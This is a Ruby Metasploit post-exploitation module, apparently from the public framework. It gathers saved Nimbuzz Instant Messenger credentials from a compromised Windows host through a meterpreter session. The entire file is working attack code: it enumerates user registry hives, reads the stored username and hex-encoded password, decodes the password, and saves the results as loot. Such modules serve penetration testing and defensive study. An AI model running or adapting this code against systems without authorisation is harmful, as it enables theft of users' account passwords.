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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/auxiliary/report'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info( info,
'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
'Description' => %q{
This module extracts the account passwords saved by Nimbuzz Instant
Messenger in hex format.
},
'License' => MSF_LICENSE,
'Author' =>
[
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
'Unknown', # SecurityXploded Team, www.SecurityXploded.com
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
creds = Rex::Text::Table.new(
'Header' => 'Nimbuzz Instant Messenger Credentials',
'Indent' => 1,
'Columns' =>
[
'User',
'Password'
]
)
registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21"
next if k.include? "_Classes"
vprint_status("Looking at Key #{k}")
subkeys = registry_enumkeys("HKU\\#{k}\\Software\\Nimbuzz\\")
if subkeys == nil or subkeys == ""
print_status("Nimbuzz Instant Messenger not installed for this user.")
return
end
user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username") || ""
hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Password")
next if hpass == nil or hpass == ""
hpass =~ /.{11}(.*)./
decpass = [$1].pack("H*")
print_good("User=#{user}, Password=#{decpass}")
creds << [user, decpass]
end
print_status("Storing data...")
path = store_loot(
'nimbuzz.user.creds',
'text/csv',
session,
creds.to_csv,
'nimbuzz_user_creds.csv',
'Nimbuzz User Credentials'
)
print_good("Nimbuzz user credentials saved in: #{path}")
end
end